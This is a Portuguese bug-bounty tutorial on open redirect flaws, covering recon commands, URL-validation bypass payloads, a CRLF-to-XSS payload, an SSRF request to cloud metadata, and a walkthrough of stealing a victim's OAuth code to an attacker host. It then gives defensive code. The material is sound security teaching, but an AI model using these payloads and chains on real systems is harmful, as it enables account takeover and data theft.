Open Redirect: o trampolim subestimado
Por que um redirect 'bobo' costuma valer pouco sozinho — mas vira crítico quando você o usa de trampolim pra roubar token OAuth, fazer SSRF ou montar phishing perfeito.
“Achei um redirect, mas o triador fechou como informativo”
Acontece direto: o caçador encontra que https://alvo.com/go?url=https://google.com joga o navegador pro Google, reporta como Open Redirect, e a resposta vem fria — “baixo impacto, não aceito” ou um bounty simbólico. Aí o iniciante conclui que open redirect “não vale a pena” e para de testar.
Erro clássico. O open redirect é o trampolim mais subestimado do bug bounty. Sozinho, ele costuma valer pouco mesmo (faixa de R$0 num VDP — Vulnerability Disclosure Program, programa que aceita reports mas paga só em reconhecimento, sem dinheiro — a uns R$500 quando muito). Mas é a peça que transforma um bug médio em crítico quando entra numa chain: roubar o code de um fluxo OAuth, mascarar um SSRF, ou montar um phishing tão convincente que o link realmente começa em alvo.com e tem o cadeado de TLS do alvo. Neste post a gente vai do “o que é” até o uso ofensivo em chaining, com detecção, todos os bypasses de validação de domínio e a defesa que mata a classe.
💡 Aparecem aqui dois termos que valem fixar: OAuth é o protocolo de “Login com Google/GitHub” — um provedor confiável autentica você e devolve um
code/token pro app. SSRF (Server-Side Request Forgery) é quando você força o servidor do alvo a fazer requisições por você (ex.: pra um recurso interno). Ambos têm post próprio na série.
Open redirect é o CWE-601 (CWE = catálogo público de tipos de fraqueza de software, mantido pela MITRE) e cai no guarda-chuva do OWASP como Unvalidated Redirects and Forwards. Não tem uma posição própria no Top 10, mas aparece como gadget — peça reaproveitável que, combinada com outras, vira um ataque maior — de A01 (Broken Access Control) e como vetor de phishing/token theft.
O que é Open Redirect
Open redirect (ou unvalidated redirect) é quando a aplicação manda o navegador pra uma URL que veio do usuário, sem validar pra onde. Você controla o destino do redirecionamento; o app obedece cegamente.
Analogia: imagine a recepcionista de um prédio respeitável. Alguém liga e diz “transfere essa ligação pro ramal 4823”. Se ela transfere sem conferir se 4823 existe dentro do prédio — e na verdade joga a ligação pra um número de fora —, qualquer um pode usar a recepcionista de fachada confiável pra levar a vítima até um golpista. A vítima confia porque a ligação começou no prédio sério. O navegador é a vítima; a recepcionista é o servidor; o “ramal de fora” é o
evil.com.
A definição da PortSwigger é direta: “open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way” (PortSwigger KB). A palavra-chave é unsafe — não é o redirect que é o problema, é a falta de validação do destino.
Existem dois sabores:
- Redirect baseado em header — o servidor responde
3xxcom umLocation:controlado por você. É o mais comum. - Redirect client-side (DOM-based) — o JavaScript da página lê um parâmetro e faz
window.location = .../location.href = .... Aqui não tem3xx; quem redireciona é o browser executando o JS. (Detecção é diferente — falamos disso no recon.)
Por que isso importa (e quanto paga)
O impacto isolado é, sim, baixo — e é importante você entender o porquê pra não brigar com o triador à toa. Um redirect puro não rouba dado, não executa código, não muda estado: ele só leva você pra outro lugar. O risco real é engenharia social — o link parece do alvo, mas termina no atacante.
Mas o valor explode quando o redirect vira trampolim numa chain. Aí o impacto não é “do redirect” — é do que ele destrava:
| Cenário | Impacto isolado | Em chain | Por quê |
|---|---|---|---|
| Phishing | Baixo | Médio/Alto | Link legítimo (alvo.com + TLS do alvo) que cai numa página de login clonada |
Roubo de code/token OAuth | — | Crítico | O redirect_uri aponta pro alvo, mas um open redirect no próprio alvo repassa o code pro atacante → ATO |
| Mascarar SSRF | — | Alto/Crítico | A allowlist do SSRF só deixa passar alvo.com; o redirect interno leva ao recurso interno |
| Bypass de allowlist de saída | — | Médio | Validações que confiam que “começa com alvo.com está seguro” |
Furtar Authorization/cookies via repasse | — | Alto | Quando o redirect carrega tokens na URL pra fora |
Faixa realista: open redirect puro costuma pagar de nada (VDP/informativo) a ~R$500. A mesma falha dentro de uma chain de OAuth (roubo de token → account takeover) salta pra Crítico e paga de milhares a dezenas de milhares. O dinheiro está na chain, não no redirect.
Como isso pontua (CVSS v3.1 e v4.0)
A nota técnica conta uma história parecida: baixa/média sozinho, crítica em chain. Repare que “vale pouco” (mercado) e “score baixo” (CVSS) não são a mesma coisa — o CVSS de um open redirect isolado costuma cair em Médio, não em “Baixo”, porque o ataque muda de escopo (sai do alvo e atinge o usuário). Por isso é útil levar os dois números no report:
| Cenário | CVSS v3.1 | CVSS v4.0 | Leitura |
|---|---|---|---|
| Open redirect isolado | 6.1 — MédioAV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N | ~5.3 — MédioAV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N | Exige interação da vítima (clicar); impacto é integridade/confiança, não dado direto. O S:C (escopo alterado) do v3.1 é o que segura em Médio. |
Chain: open redirect → roubo de code/token OAuth → ATO | 8.0–9.3 — Alto/Crítico ex.: AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N (9.3) | 8.3–9.3 — Alto/Crítico ex.: …/VC:H/VI:H/VA:N/SC:H/SI:H/… | O impacto não é do redirect — é da conta tomada. Aqui você pontua o resultado da chain (ATO), não o gadget. |
💡 Por que dois scores? O v3.1 ainda é o que a maioria dos programas usa; o v4.0 (FIRST, 2023) trocou o
S(Scope) por métricas separadas de impacto no sistema (VC/VI/VA) e subsequente (SC/SI/SA) — o que descreve melhor um trampolim, em que o dano acontece num outro sistema (a conta da vítima, um serviço interno). Para open redirect, a referência da PortSwigger classifica a severidade do issue isolado como Low/Information, justamente porque o impacto direto depende de engenharia social — outra razão pra pontuar a chain, não o gadget.
⚠️ Cheque o escopo. Muitos programas marcam open redirect isolado como out of scope ou informational. Não desista: documente a chain ou o impacto demonstrável (token theft, phishing de credencial). É a chain que paga. Calibre o número com cuidado — detalhe no post Severidade & Impacto.
Como funciona por trás
A raiz é sempre a mesma: o destino do redirect vem do cliente e não é validado contra uma allowlist. Veja o fluxo header-based vulnerável:
1
2
GET /login?next=https://evil.com HTTP/2
Host: alvo.com
1
2
HTTP/2 302 Found
Location: https://evil.com # <- o servidor refletiu o "next" cru no Location
O navegador recebe o 302, lê o Location, e segue obedientemente pro evil.com. O usuário só vê que começou em alvo.com.
Do lado do código, o pecado é refletir o input direto no redirect:
1
2
3
4
// Backend VULNERÁVEL — confia no parâmetro e redireciona pra qualquer lugar
$dest = $_GET['next'];
header("Location: " . $dest); // <- nenhuma validação de domínio
exit;
1
2
3
4
// Node/Express VULNERÁVEL
app.get('/login', (req, res) => {
res.redirect(req.query.next); // <- mesmo erro: destino arbitrário
});
1
2
3
// DOM-based VULNERÁVEL (client-side) — sem 3xx nenhum, quem redireciona é o browser
const params = new URLSearchParams(location.search);
window.location = params.get('returnUrl'); // <- input cru vira navegação
Repare: na versão DOM-based não existe Location na resposta do servidor. Quem executa o redirect é o JS no browser. Por isso ferramentas que só olham respostas HTTP não pegam esse caso — você precisa olhar o JS.
Onde achar — os parâmetros suspeitos
Open redirect mora em parâmetros que carregam um destino/URL de retorno. Decore esta família — é onde você vai bater os olhos primeiro:
| Nome do parâmetro | Onde aparece tipicamente |
|---|---|
url, redirect, redirect_url, redir, rurl | redirecionadores genéricos, encurtadores, trackers |
next, return, returnTo, return_url, return_path | pós-login (“volte pra onde eu estava”) |
dest, destination, target, go, to, out, view | links de saída, “ir para” |
continue, callback, forward | fluxos de continuação |
redirect_uri | OAuth/OIDC (o mais valioso — destrava token theft) |
image_url, checkout_url, link, u | trackers, e-commerce, e-mails de marketing |
💡 Mapa mental: todo lugar onde o app precisa “te levar de volta pra onde você estava” é candidato — pós-login, pós-logout, pós-checkout, pós-OAuth. Esse “de volta” quase sempre é um parâmetro, e parâmetro que aceita URL é onde o open redirect se esconde.
Recon — como encontrar
A ideia é coletar muitas URLs do alvo e filtrar as que carregam parâmetros de redirect. As ferramentas de coleta de URL (gau, katana, waybackurls) já foram apresentadas no post Recon & Discovery — recapitulando rápido: gau puxa URLs do Wayback/AlienVault/etc., e gf é um wrapper de grep com padrões prontos por classe de bug.
1
2
3
# 1) Junta URLs históricas do alvo e filtra parâmetros de redirect
# 'gau' = get all urls (coleta passiva); 'gf redirect' usa o pattern pronto da classe
gau alvo.com | gf redirect | sort -u
1
2
3
4
# 2) Sem o gf? Filtra na unha os nomes de parâmetro suspeitos
gau alvo.com \
| grep -Ei '[?&](url|next|redirect|redir|return|returnTo|dest|destination|continue|callback|redirect_uri|rurl|target|go|u)=' \
| sort -u
1
2
3
4
5
6
7
# 3) DOM-based: baixe os arquivos .js e procure sinks de navegação client-side
echo alvo.com | katana -jc -silent \
| grep -Ei '\.js($|\?)' \
| while read u; do
curl -s "$u" | grep -Eni 'location\.(href|replace|assign)|window\.location|document\.location'
done
# leia o trecho: de onde vem o valor? Se vem de location.search/hash sem validar -> DOM open redirect
Como confirmar um candidato no Burp: mande a request no Repeater, troque o parâmetro pra um domínio que você controla (use example.com, que é reservado pra exemplos pela IANA, ou um Burp Collaborator) e veja a resposta:
1
2
GET /go?url=https://example.com HTTP/2
Host: alvo.com
Se voltar Location: https://example.com (header-based) ou o navegador sair pro example.com ao abrir no browser (DOM-based) → candidato confirmado. Importante: desligue o “Follow redirects” do Repeater pra ver o Location em vez de já seguir.
Exploração e bypasses de validação de domínio
A maioria dos alvos tenta validar o destino. O jogo do caçador é descobrir como eles validam e quebrar essa lógica. Vamos do mais simples ao mais sutil — entendendo por que cada um funciona, que é o que te deixa replicar em qualquer alvo.
Nível 0 — Sem validação nenhuma
O destino é refletido cru. Funciona com qualquer URL absoluta:
1
https://alvo.com/go?url=https://evil.com
Nível 1 — Bypass de URL scheme-relative (//evil.com)
Esse é o rei dos bypasses e o que aparece na maioria dos casos reais. Validações ingênuas checam “a URL começa com http:// ou https:// de domínio externo?” — e bloqueiam isso. Mas elas esquecem da URL scheme-relative (também chamada network-path reference, definida na RFC 3986 §4.2):
1
https://alvo.com/go?url=//evil.com # <- duas barras, SEM esquema
Por que funciona: o navegador interpreta //evil.com como “use o mesmo esquema da página atual (https) e vá pro host evil.com“. Ou seja, vira https://evil.com. Mas pro filtro do servidor, a string não contém http:// nem https://, então passa. Esse foi exatamente o padrão de um caso real anonimizado (um endpoint LTI que aceitava redirect_uri=//evil.com e jogava o usuário pra fora).
Variantes pra quando filtram //:
1
2
3
4
https://alvo.com/go?url=/\evil.com # barra + backslash
https://alvo.com/go?url=\/\/evil.com # backslashes
https://alvo.com/go?url=/%2f/evil.com # barra encodada no meio
https://alvo.com/go?url=%2f%2fevil.com # // totalmente encodado
Por que funcionam: navegadores normalizam \ pra / (e decodificam %2f), mas muitos parsers de backend tratam \ como caractere de path comum — então o servidor “acha” que é um caminho interno e libera, enquanto o browser entende como host externo. É uma discrepância de parsing entre quem valida (servidor) e quem executa (browser).
Nível 2 — Bypass de esquema “colado” (https:evil.com)
Alguns filtros exigem que a URL comece com / (achando que assim fica relativa ao próprio host). Contorne com:
1
2
https://alvo.com/go?url=https:evil.com # esquema sem as duas barras
https://alvo.com/go?url=https:/evil.com # esquema com UMA barra
Por que funciona: https:evil.com é interpretado por muitos browsers como https://evil.com (eles toleram a ausência das //). O filtro não vê o // clássico e deixa passar.
Nível 3 — Bypass via @ no userinfo (https://alvo.com@evil.com)
Esse engana humano e máquina. A sintaxe de URL permite usuario:senha@host (a parte userinfo, RFC 3986 §3.2.1). Então:
1
https://alvo.com/go?url=https://alvo.com@evil.com # <- "alvo.com" é só o usuário!
Por que funciona: pro browser, tudo antes do @ é credencial (userinfo) e o host real é o que vem depois — ou seja, evil.com. Mas um filtro que faz “a URL contém alvo.com?” ou “começa com https://alvo.com?” vê o alvo.com no começo e aprova. É o bypass perfeito contra validação por startsWith/contains.
Nível 4 — Confusão de subdomínio e sufixo
Aqui o atacante registra um domínio que engana a checagem de string:
| Payload | Checagem que ele engana | Por que passa |
|---|---|---|
https://evil.com/alvo.com | contains("alvo.com") | alvo.com aparece no path, mas o host é evil.com |
https://alvo.com.evil.com | startsWith("alvo.com") | o host começa com alvo.com. mas o domínio registrável é evil.com |
https://evilalvo.com | contains("alvo.com") parcial | substring casa, mas é outro domínio |
https://alvo.com.evil.com | endsWith malfeito | precisa terminar com .alvo.com, não conter |
Por que funcionam: todas exploram validação por substring em vez de parsing real do host. A lição: nunca valide host com contains/startsWith/endsWith em string — só com um parser de URL que extraia o host e compare exato.
Nível 5 — Encoding e double-encoding
Quando o filtro roda antes da decodificação, ou decodifica uma vez a menos que o browser:
1
2
3
https://alvo.com/go?url=https%3A%2F%2Fevil.com # URL-encoded simples
https://alvo.com/go?url=https%253A%252F%252Fevil.com # double-encoded
https://alvo.com/go?url=http://evil.com%2523@alvo.com # mistura encoding + @
Por que funciona: se a aplicação valida a string codificada (e portanto não vê evil.com) mas depois decodifica antes de redirecionar, o destino real escapa da validação. Double-encoding ataca camadas que decodificam duas vezes.
Nível 6 — CRLF no parâmetro de redirect (escala pra XSS/header injection)
Quando o valor do parâmetro vai cru pro header Location e o servidor não filtra \r\n (CRLF — carriage return + line feed, os bytes %0d%0a que separam um header do outro no HTTP), o “open redirect” deixa de ser só redirect: você consegue injetar headers e até HTML/JS na resposta. É a ponte entre open redirect e CRLF Injection.
1
https://alvo.com/logout?redirect_uri=%0d%0a%0d%0a<script>alert(document.domain)</script>
Por que funciona: o %0d%0a%0d%0a fecha os headers e abre o corpo da resposta; se o Content-Type for text/html, o navegador renderiza o que vier depois — virando XSS refletido. Esse foi exatamente o padrão de um caso real anonimizado: um gateway corporativo refletia o parâmetro post_logout_redirect_uri do endpoint de logout sem sanitizar CRLF, e um payload com %0D%0A%0D%0A<body onload=...> executava JS no domínio do alvo (o CVE-2023-24488 é classificado como XSS/CWE-79, não open redirect). Aqui a severidade sobe sozinha, sem precisar de outra falha: XSS no domínio do alvo já é Alto.
💡 Antes de cravar “só open redirect”, sempre teste um
%0d%0ano parâmetro. Se a quebra de linha passa proLocation, você pode ter CRLF/XSS no colo — um achado bem mais valioso. A mecânica completa está em CRLF Injection e HTTP Request Smuggling.
💡 Dica de ouro do bypass: o open redirect quase sempre é uma discrepância de parsing — o validador e o executor (browser) entendem a mesma string de formas diferentes. Sua arma é uma boa wordlist rodada no parâmetro. A página Open Redirect do PayloadsAllTheThings reúne os payloads de bypass prontos (e linka a wordlist Open-Redirect-Payloads do Cujanović) — jogue no Burp Intruder (posição no parâmetro) e veja qual variação escapa.
Onde o trampolim vira crítico: chaining
Aqui é o coração do post. Sozinho o redirect é fraco; em chain ele destrava o ouro. Open redirect é um dos gadgets mais reutilizados em chains — se a ideia de “somar bugs pequenos num crítico” ainda é nova pra você, o post Chaining de Vulnerabilidades trata disso a fundo; aqui mostramos os três encaixes mais rentáveis.
Chain 1 — Roubo de code OAuth → Account Takeover
Esse é o uso de maior impacto. Recapitulando o fluxo OAuth authorization code (que detalhamos no post Account Takeover): o app redireciona você pro provedor (Google/GitHub) com client_id, redirect_uri, response_type=code, scope e state. O provedor autentica e devolve um code pro redirect_uri. Quem tiver o code troca por um token e loga como você.
Os provedores sérios validam o redirect_uri contra uma allowlist exata — você não consegue apontar direto pra evil.com. Mas a PortSwigger aponta o caminho: se você achar um open redirect dentro do próprio domínio whitelisted, o redirect_uri continua sendo alvo.com (válido!), o provedor entrega o code pra alvo.com, e o open redirect repassa esse code pra você. Como diz a PortSwigger sobre OAuth, um open redirect no cliente legítimo vira “a proxy to forward victims, along with their code or token, to an attacker-controlled domain”.
💡 Detalhe que destrava o lab clássico: mesmo quando a allowlist do provedor é estrita, ela muitas vezes só checa se o
redirect_uricomeça com o valor cadastrado — e deixa você anexar caracteres no fim, incluindo/../. No lab oficial da PortSwigger, o truque éredirect_uri=https://alvo.com/oauth-callback/../post/next?path=//evil.com— o/../“sobe” do callback e cai no open redirect do blog. É o Nível 4 (validação porstartsWith) reaparecendo, agora dentro do OAuth.
Na prática, o redirect_uri aponta pra um endpoint de redirect interno do alvo:
1
2
3
4
5
6
GET /oauth/authorize?client_id=app123
&response_type=code
&redirect_uri=https://alvo.com/login/callback?next=//evil.com # <- callback válido, mas com open redirect embutido
&scope=openid+email
&state=xyz HTTP/2
Host: accounts.provedor.com
Fluxo do ataque:
- A vítima clica no link (parece 100% legítimo — começa no provedor real e usa o
alvo.comreal). - O provedor autentica e redireciona pra
https://alvo.com/login/callback?next=//evil.com&code=AUTH_CODE. - O endpoint
/login/callbackdo alvo, vulnerável, segue onexte redireciona pra//evil.comcarregando ocodejunto (no query ou viaReferer). - O atacante captura o
codeemevil.come troca por um token → ATO.
💡 fragment: a parte da URL após o # (ex.: #access_token=abc). O navegador a lê, mas ela NÃO é enviada ao servidor.
Variante ainda mais direta com o implicit grant (response_type=token): aí o access token vem na fragment (#access_token=...) da URL de callback. Como a PortSwigger nota, “the access token is sent from the OAuth service to the client application via the user’s browser as a URL fragment” — e fragment é lido por JS no browser, então um open redirect client-side no callback vaza o token direto. O detalhe que faz a chain fechar: o navegador reanexa a fragment ao seguir um redirect, então quando o open redirect leva pra evil.com, o #access_token=... vai junto; em evil.com um document.location.hash captura o token e reenvia pro atacante (é assim que o lab da PortSwigger exfiltra).
Chain 2 — Mascarar/destravar SSRF
Quando um endpoint de SSRF tem allowlist (“só aceito URLs de alvo.com“), você dá uma URL de alvo.com que redireciona pro alvo interno:
1
2
3
4
5
6
POST /api/fetch-preview HTTP/2
Host: alvo.com
Content-Type: application/json
{"url":"https://alvo.com/go?url=http://169.254.169.254/latest/meta-data/"}
# <- passa a allowlist (é alvo.com), mas o redirect leva o fetcher pro metadata interno
Por que funciona: o validador de SSRF aprova alvo.com; o cliente HTTP do servidor então segue o redirect (se follow redirects estiver ligado) e acaba batendo no recurso interno (ex.: o endpoint de metadados 169.254.169.254 da nuvem). Esse é um dos bypasses clássicos de allowlist de SSRF — a mecânica completa (e por que tantos fetchers seguem redirect cegamente) está no post SSRF. Aqui o ponto é só: open redirect fura allowlist de saída.
Chain 3 — Phishing de alta credibilidade
O mais “simples”, mas eficaz. O link de phishing começa em alvo.com, com o cadeado de TLS do alvo, e só depois cai numa página de login clonada. A vítima vê https://alvo.com/... no e-mail/SMS e confia. É o impacto que a PortSwigger e a OWASP citam como o principal perigo do open redirect isolado.
Caso real-fictício: open redirect → token OAuth → ATO
Cenário fictício, baseado em padrões reais (anonimizado). Inspirado em padrões públicos como o redirect aberto via
redirect_uri=//...em componentes de SSO/LTI.
Você testa app.exemplo.com, que oferece “Login com Provedor”. Durante o login pós-OAuth, o Burp registra um callback interno:
Passo 1 — Achar o redirect interno. No histórico do Burp, o endpoint de callback tem um parâmetro continue:
1
2
GET /sso/callback?continue=/dashboard HTTP/2
Host: app.exemplo.com
No Repeater, você testa o bypass scheme-relative:
1
2
GET /sso/callback?continue=//example.com HTTP/2
Host: app.exemplo.com
1
2
HTTP/2 302 Found
Location: //example.com # <- redirect aberto confirmado (vira https://example.com no browser)
Open redirect confirmado no continue. Isolado, seria baixo. Mas o continue está no endpoint de callback do OAuth.
Passo 2 — Confirmar que o redirect_uri aceita esse callback. O início do fluxo OAuth aponta o redirect_uri pro próprio callback do app (válido na allowlist do provedor):
1
2
3
4
5
GET /authorize?client_id=app_exemplo
&response_type=code
&redirect_uri=https://app.exemplo.com/sso/callback?continue=//atacante.com
&state=abc123 HTTP/2
Host: accounts.provedor.com
O provedor valida o redirect_uri — e ele é app.exemplo.com, então passa.
Passo 3 — A chain. Você manda esse link pra vítima (parece legítimo). Ela autentica no provedor real; o provedor redireciona pra https://app.exemplo.com/sso/callback?continue=//atacante.com&code=AUTH_CODE; o callback vulnerável segue o continue e joga o navegador pra //atacante.com com o code anexado/no Referer. Em atacante.com, você captura o code e troca por token.
1
2
GET /?code=AUTH_CODE_DA_VITIMA HTTP/2 # <- chega no servidor do atacante
Host: atacante.com
O que a tela do Burp mostraria: painel Request/Response com o 302 Location: //example.com destacado em vermelho no PoC do redirect; e, na demonstração da chain, a request final chegando no Collaborator/servidor do atacante carregando o parâmetro code da vítima.
Passo 4 — Report. Título: [Open Redirect → OAuth Code Theft] ATO via continue= no /sso/callback. Severidade Crítica (account takeover de qualquer usuário que clicar). No resumo, deixe explícito que o open redirect é o gadget e o impacto é roubo de token + ATO — é isso que tira o report do balde “informativo”. (Veja Como escrever um report que paga e a calibração de severidade em Severidade & Impacto.)
Defesa em camadas
A regra-mãe: nunca reflita input cru no destino do redirect. A OWASP é categórica — “if used, do not allow the URL as user input for the destination”. Em ordem de preferência:
1. O ideal — não aceite URL nenhuma. Use um índice/ID mapeado no servidor:
1
2
3
4
5
6
7
8
9
10
// CORRETO — o cliente manda uma CHAVE, não uma URL. Zero superfície de bypass.
$destinos = [
'dashboard' => '/painel',
'perfil' => '/conta/perfil',
'faturas' => '/financeiro/faturas',
];
$key = $_GET['next'] ?? 'dashboard';
$dest = $destinos[$key] ?? '/painel'; // fallback seguro se a chave não existe
header("Location: " . $dest);
exit;
Essa é a recomendação tanto da OWASP (“server-side mapping”) quanto da PortSwigger (“pass an index into this list”). Sem URL crua, não tem o que bypassar.
2. Se PRECISA aceitar destino — force caminho relativo (mesma origem):
1
2
3
4
5
6
7
8
9
10
// Node — só permite redirect DENTRO do próprio site
function safeRedirect(res, input) {
// Rejeita qualquer coisa que possa virar host externo:
// - tem que começar com UMA barra
// - NÃO pode começar com // ou /\ (scheme-relative)
if (typeof input !== 'string' || !/^\/[^/\\]/.test(input)) {
return res.redirect('/'); // fallback seguro
}
return res.redirect(input); // ex.: "/dashboard" -> sempre same-origin
}
O regex ^\/[^/\\] exige: começa com / e o segundo caractere não é / nem \. Isso mata //evil.com, /\evil.com e \/... de uma vez.
3. Se PRECISA de destino absoluto/externo — allowlist com parser de URL real (nunca string):
1
2
3
4
5
6
7
8
9
10
11
12
from urllib.parse import urlparse
ALLOWED_HOSTS = {"app.exemplo.com", "conta.exemplo.com"}
def is_safe_redirect(target: str) -> bool:
p = urlparse(target)
# 1) Exige esquema explícito e host -> evita //evil.com e https:evil.com
if p.scheme not in ("http", "https") or not p.netloc:
return False
# 2) Compara o HOST EXATO extraído pelo parser (urlparse já ignora userinfo)
# p.hostname descarta "user@" -> mata o bypass https://alvo.com@evil.com
return p.hostname in ALLOWED_HOSTS
1
2
3
4
5
6
// Java — Spring: hardcode quando possível, ou valide host parseado
URI uri = URI.create(target);
if (!ALLOWED_HOSTS.contains(uri.getHost())) { // getHost() ignora userinfo
return "redirect:/"; // fallback seguro
}
return "redirect:" + uri;
O segredo é usar hostname/getHost() do parser — ele extrai o host real (descartando o user@) e você compara com igualdade exata, nunca startsWith/contains/endsWith.
4. Defesa de profundidade:
- Página de confirmação: pra redirects de saída inevitáveis (trackers), mostre “você está saindo de alvo.com para X. Continuar?” — a OWASP recomenda isso explicitamente.
- No OAuth,
redirect_uriem allowlist EXATA (match completo da URL, não “começa com”) — assim, nem que exista um open redirect no app ocodeconsegue ser repassado pra fora peloredirect_uri. (Detalhe no post Account Takeover.) code/token de uso único e validade curtíssima, e fragment não logada — reduz a janela de roubo via Referer.Referrer-Policy: no-referrerem páginas que carregam segredos na URL — corta o vazamento decode/token pro destino do redirect.
❌ O que NÃO basta:
- Validar com
startsWith("https://alvo.com")→ quebra comhttps://alvo.com@evil.comehttps://alvo.com.evil.com.- Validar com
contains("alvo.com")→ quebra comhttps://evil.com/alvo.com.- Bloquear só
http:///https://→ quebra com//evil.comehttps:evil.com.- Validar a string antes de decodificar → quebra com encoding/double-encoding.
- Confiar que “começa com
/está seguro” → quebra com//evil.come/\evil.com.
Ferramentas + labs legais
- Burp Suite — Repeater (confirmar, com Follow redirects desligado pra ver o
Location), Intruder (rodar wordlist de bypass no parâmetro), Collaborator (capturar ocode/callback fora). - gau / waybackurls / katana — coletar URLs e achar parâmetros de redirect (apresentados no post Recon & Discovery).
- gf (com o pattern
redirect) — filtrar candidatos automaticamente do output dogau. - OpenRedireX — fuzzer dedicado de open redirect (recebe lista de URLs + payloads e testa os bypasses).
- Labs pra praticar (autorizados): PortSwigger — OAuth 2.0 vulnerabilities (o lab de roubo de
codevia open redirect é ouro), PortSwigger — DOM-based open redirection, TryHackMe, HackTheBox, HackingClub.
Checklist do caçador
- Coletei URLs do alvo (
gau/katana) e filtrei parâmetros de redirect (gf redirectougrep). - Testei a família de parâmetros:
url,next,return(To),dest,continue,callback,redirect_uri,rurl,go,u. - Confirmei no Repeater com Follow redirects desligado (header-based) e no browser (DOM-based).
- Rodei os bypasses:
//evil.com,/\evil.com,https:evil.com,https://alvo.com@evil.com,alvo.com.evil.com, encoding/double-encoding. - Testei CRLF no parâmetro (
%0d%0a) — se a quebra de linha vaza proLocation, pode virar header injection/XSS. - Verifiquei se o parâmetro vive em endpoint de OAuth/callback (
redirect_uri,/callback,/sso) → potencial token theft. Testei também anexar/../aoredirect_uriwhitelisted. - Tentei usar o redirect pra furar allowlist de SSRF ou de saída.
- Documentei a chain/impacto (não só “redireciona pro Google”) — é o que tira do balde informativo.
- Conferi se open redirect isolado está no escopo do programa.
Pegadinhas / o que NÃO funciona
- Reportar redirect puro como Alto sem chain → triador fecha como informativo. Mostre o impacto (token, phishing de credencial).
- Esquecer DOM-based → se a resposta não tem
Location, não conclua “não tem bug”: olhe o JS (location.href = ...). - Confundir same-site redirect com open redirect → redirecionar pra outro path do mesmo host (
/dashboard) não é vulnerabilidade; só vira bug se sai pro host externo. - Testar com
evil.comque não existe → useexample.com(reservado pela IANA) ou seu Collaborator pra ter uma prova limpa de que saiu do alvo. - Achar que
statesalva tudo no OAuth →stateprotege contra CSRF de vínculo, não contra roubo decodevia open redirect. São defesas diferentes.
O que você precisa lembrar
- Open redirect = destino do redirect vem do usuário e não é validado. Pode ser header-based (
Location) ou DOM-based (JS). - Isolado vale pouco; em chain vale muito. O ouro é OAuth code/token theft → ATO, SSRF e phishing crível.
- Bypass é discrepância de parsing:
//,\,@no userinfo, sufixo de domínio, encoding. Valide host com parser, nunca com substring. - Defesa que mata a classe: mapa de IDs no servidor, ou caminho relativo, ou allowlist por host exato parseado.
💡 Dica de ouro: quando achar um open redirect, não pergunte “quanto isso vale?” — pergunte “onde isso me leva?”. Se ele estiver perto de um fluxo OAuth, de um fetcher server-side ou de um e-mail transacional, você não tem um redirect: você tem um trampolim pra algo crítico.
Nota ética
Tudo aqui é pra testes autorizados — programas de bug bounty (dentro do escopo), pentests contratados e labs legais. Testar redirects e, principalmente, chains de roubo de token em sistemas de terceiros sem autorização é crime — e desnecessário, dado que os labs da PortSwigger reproduzem exatamente esses cenários. Ao demonstrar a chain de OAuth, nunca use a conta de uma pessoa real sem consentimento; use duas contas de teste suas. Use pra proteger, reportar com responsabilidade e ensinar.
Referências
- OWASP — Unvalidated Redirects and Forwards Cheat Sheet
- PortSwigger — Open redirection (reflected)
- PortSwigger — OAuth 2.0 authentication vulnerabilities (roubo de
code/token via open redirect no cliente) - PortSwigger — Lab: Stealing OAuth access tokens via an open redirect (a chain
redirect_uri+/../+ open redirect na prática) - PortSwigger — DOM-based open redirection
- FIRST — CVSS v4.0 Specification (métricas de impacto no sistema vs. subsequente — por que v4.0 descreve melhor um trampolim)
- MITRE — CWE-601: URL Redirection to Untrusted Site (‘Open Redirect’)
- RFC 3986 — URI Generic Syntax (§3.2.1 userinfo, §4.2 relative reference)
- PayloadsAllTheThings — Open Redirect (wordlist de bypass pronta)
Este post é o trampolim da série — ele alimenta três outros: Account Takeover (onde a chain de redirect_uri → roubo de code/token vira ATO), SSRF (onde o redirect fura a allowlist de saída) e Chaining de Vulnerabilidades (onde ele entra como gadget de chains maiores). Vizinho de classe: CRLF Injection. Base: Recon & Discovery · calibre o impacto em Severidade & Impacto.
📚 Parte do Guia Completo de Bug Bounty — o índice da série, do básico ao avançado.
